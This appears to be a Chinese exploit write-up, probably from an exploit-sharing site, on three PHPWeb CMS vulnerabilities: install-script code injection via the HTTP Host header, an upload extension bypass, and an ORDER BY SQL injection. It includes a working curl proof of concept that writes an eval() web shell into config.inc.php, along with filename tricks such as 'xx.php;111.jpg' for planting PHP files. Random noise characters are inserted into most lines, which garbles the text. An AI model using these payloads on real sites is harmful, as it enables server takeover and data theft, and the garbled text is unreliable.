注入:3 x4 h* Z! R I
9 e. `+ G8 ?; {0 y9 V; a* ]
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码( `. c# j# u% o( p
1 q% j, @3 O) t$ R) [
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件7 D& f$ g' T* w9 J
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
! F( ?) ?2 Q3 A " v- z+ I4 b7 v6 z; U; R! q
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响. c; t( Y0 L# D& J2 y+ k
' a5 z. R( i4 D; q0 q1 @6 Q0 ^9 S
分析:
# K7 v3 Y C+ u) L6 H( h. g& Z) p ( _: U+ a* `6 t% d+ u3 a7 P+ J
. @6 q; ?8 c8 s5 u
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
* K- y- \$ D! Y- ~" O6 a5 S
' f) V" o U% ^1 S1 {4 A( S $filestr = fread(fopen($SysConfigFile, 'r'),30000);. X S' F# w+ e# ~
$filestr=str_replace(" ","",$filestr);( d6 `! ?0 S& F. F# G2 l+ B3 R
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);3 W2 }% ?3 i* l$ t, k% P
$filestr=str_replace("DefaultDbName",$dbname,$filestr);+ P0 c7 C1 K7 x! s7 L
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);% Z. E+ w5 x- I- F3 {! T
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);/ M- o4 E! q& i- w/ D
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);8 J5 l. B: {8 o* e! ]# ?8 b3 h! I N6 J
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
* {: d3 [! S/ j# N $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
( F/ {$ q- z9 v7 E9 e: \1 Y/ w
) C* g6 I' ]2 e9 n+ Z, b% F6 W fwrite(fopen($ConFile,"w"),$filestr,30000);
3 {, ^+ F# B' H4 Z) |, V/ J$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
4 m! S( u( F! q! W3 H
. \% P# i+ k9 opoc:2 H9 U, D5 S4 u
0 m8 N% Y J$ `/ |?
1 K. b7 E9 }, d) |7 a2 L8 n9 d1
N5 I" J( C! u) |( m8 dcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"4 @7 N+ j' [! x
shell地址: /config.inc.php$ O. R! N$ R1 ^# q
跟之前的 phpcms一样 需要远程数据库$ F, e3 ] _' W; g- E1 Y
6 z7 [; x5 ?8 ?/ a
——————————————————–
( p* ^7 W( a2 u0 O6 ?上传漏洞(需要进后台):
/ I: ?5 s) q! W0 X0 T5 M漏洞文件: /kedit/upload_cgi/upload.php; a& i3 H3 N4 f2 F& n F! s, t
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用; C+ g/ X7 k m, ?
! I9 O) q% a2 c' ?! }' ]
5 B& u% y) v; B! x4 o, K. X
<?php
( k/ V; w/ d, u' Q; `% C9 W define("ROOTPATH", "../../");
5 U, i; q; E! X& D4 ^7 v& w' X include(ROOTPATH."includes/admin.inc.php");! `% X+ T9 J4 |+ Y3 n1 ?7 ]% Q0 _
NeedAuth(0);, ?. N; {8 t' k) ~5 W- k
( e3 G: J% p$ @8 z ]. N
$dt=date("Ymd",time()); Q! v" s& q2 v7 C7 `6 R; x# j/ a- f
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
1 F& O1 V0 `* W& \4 m" F& k) O, Z @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);5 d6 S1 v& N% T: o4 q8 {
}9 i" z5 ~" `! k9 f- k0 z% ~* G
( d# O* l& I o- Y7 ] l4 ?
//文件保存目录路径
" O5 E, k" L/ W/ } $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
' x6 a& [3 W; g* `8 Z/ O. v" y echo $save_path;1 ?6 }: W) M% [
//文件保存目录URL
: |: @ [ b% V. H3 u. P- w $save_url = '../../'.$_POST['attachPath'].$dt.'/';8 f, t4 ]" C' @, j' B
( G) e) }, e( q1 {; e* O //定义允许上传的文件扩展名
% Y9 ?7 ^1 s' j: t' Z4 j/ } $ext_arr = array('gif','jpg','png','bmp'); //限制后缀& \3 Y) C4 w6 b) R; B5 @$ O _4 z
; \4 t: A/ L7 A2 Z( Y) ^
//最大文件大小! y4 g7 B( ^( V1 o' u$ x
$max_size = 1000000;" J# F$ L7 b: \, u/ ?. z
' {/ G* J8 L- J. E //更改目录权限& ~% b3 M U% j5 E1 z
@mkdir($save_path, 0777);; I- z# R& s1 `- X8 b0 c
) g8 C: r1 [) A* W //文件的全部路径' y3 b6 g; E( J! W) X/ g0 u7 m
$file_path = $save_path.$_POST['fileName']; //保存文件名. y& \5 O2 K6 T" Q5 B
, m) z6 H- z# n: v C( _
//文件URL
( b" |& Z- B. U; W8 C7 f: b $file_url = $save_url.$_POST['fileName'];
' n; G% O/ {3 R9 t5 o2 ~//有上传文件时6 j N( s2 u) R
if (empty($_FILES) === false) {
- x) U! B! a; Y v( \4 Q$ k( _ : E' ^% K9 N3 e& r
//原文件名
' p3 F: Y- b+ j8 p $file_name = $_FILES['fileData']['name'];
' t L w* T6 ?& U+ ]6 X9 ~# S //服务器上临时文件名
# ]# W+ w* m+ v0 Y. v $tmp_name = $_FILES['fileData']['tmp_name'];
4 a, d: C, e! N2 @* \( h8 e. q //文件大小
7 a8 Y( [" n+ v $file_size = $_FILES['fileData']['size'];* y! M( A) {# Y; a: d
//检查目录4 ]1 T4 p& @& X, I) I5 {
if (@is_dir($save_path) === false) {
6 i3 P# U& c. t alert("上传目录不存在。");/ C! n; ?& B* U ]* L
}! X) E# O3 w- R& ]! ]
//检查目录写权限
8 }+ V r q9 T* @+ y2 t if (@is_writable($save_path) === false) { G; G& ?1 ]( k$ q
alert("上传目录没有写权限。");1 p$ `) {( {9 l' ]& v. \! q5 l
}. _9 @' c2 d" H
//检查是否已上传" r0 T% U4 _6 D0 K8 m
if (@is_uploaded_file($tmp_name) === false) {3 c I3 s$ P4 v7 a2 `
alert("临时文件可能不是上传文件。");6 {1 ]) _; j2 d, v
}
/ Z k4 W" }$ Q //检查文件大小3 d% D( q# h( ^
if ($file_size > $max_size) {
) f' C) R6 u* i; `& o alert("上传文件大小超过限制。");6 a: E* N' d- @( {
}
; q* ?# t z' t# f //获得文件扩展名
9 J: p! ^) u4 { $temp_arr = explode(".", $_POST['fileName']);
; V' K; ^/ x; ] $file_ext = array_pop($temp_arr);# x: o) ]7 W& ~- M- ?! R8 D# t; G
$file_ext = trim($file_ext);
% j0 c* R. k# Z3 G" ~: _ $file_ext = strtolower($file_ext);
) J% L/ s+ ]$ K( y8 p% B+ d3 W! I; ~
9 q1 W9 d" O6 N+ y9 a+ u //检查扩展名 5 [2 x7 B6 G# Z. @. |
if (in_array($file_ext, $ext_arr) === false) { ; j- U/ N) ?$ B% p+ M
alert("上传文件扩展名是不允许的扩展名。");, p( }8 Z( v& b! y% c! t
} o& @: r* y' Z9 Q# ]" o) B+ [; U! G( r
6 `4 Q5 ~9 x# ~ //移动文件 6 G/ Y3 ?; \) g' m$ v7 i! w3 q. n" F
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^3 m, S! L, m. g/ @) c# M: o
if (move_uploaded_file($tmp_name, $file_path) === false) {) ~8 D7 v7 J$ b; y9 i
alert("上传文件失败。");2 l7 M( H2 L0 T( [1 \9 t
}% Z+ X* @3 P* h" D5 D. W3 Y8 q
6 H: h- m3 L. C6 }* v/ T- Z5 |7 m! A# q @chmod($file_path,0666);3 y/ `& R/ _+ `' D+ j
6 ^2 W4 ?* t( ^6 ]. e1 x ?>1 ^, i7 m, |0 a5 F4 J3 l" O
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
* v: _3 A2 J5 _. ?& Y
7 F- n3 n" f% Z, o2 vapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过6 u7 s0 g" s/ U) a2 n( j c1 d
1 E' S" K" ]/ P/ C
——————————————————( G7 D; l# I! ]( b/ g0 q0 Z7 q
注入漏洞:, U0 L: o9 s' ]8 [& m/ l0 p
漏洞文件:search/module/search.php# _0 x3 W! Q6 R4 V8 j7 X u
/search/index.php?key=1&myord=1 [sqlinjection]
# c1 [8 f" ]; P/ T$ t ; U* c( V5 X1 i7 e
* k$ G( g' w0 H/ V* ^# f<?php- y; M0 ]% C0 ~' {, o
// ... 省略 n 行...
- L* B& H8 b) a- _8 O( D4 b+ ~ //第18行:$ o8 s# f8 ?1 V6 L' K% `
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响1 o8 [/ O3 m: L& H
$page=htmlspecialchars($_GET["page"]);/ r& {: A. f) Q7 X
$myord=htmlspecialchars($_GET["myord"]);
/ e% Z: b G' I J ! f' E; G0 ?) s$ X9 N
// ... 省略 n 行...; b" k4 I) s* _
$key,$myord 两个参数带入查询7 k- Q7 L- j% t. S1 ?7 t
//第47行 $key:
2 h4 s7 g, w8 \" v8 B / Q1 E" e6 Z- l: }" U, l: `
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
/ z. f) S0 h" y : e5 J, b, \) j3 b# ]2 C& c
//第197行 $myord
9 ]" f( @! I7 w Y3 v7 O( w% O- {# a $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
( c& ^4 l# F6 K
9 p# R: r1 g6 B) U& L1 C ?>, b( G# f. ~" L" B/ v) w& f
|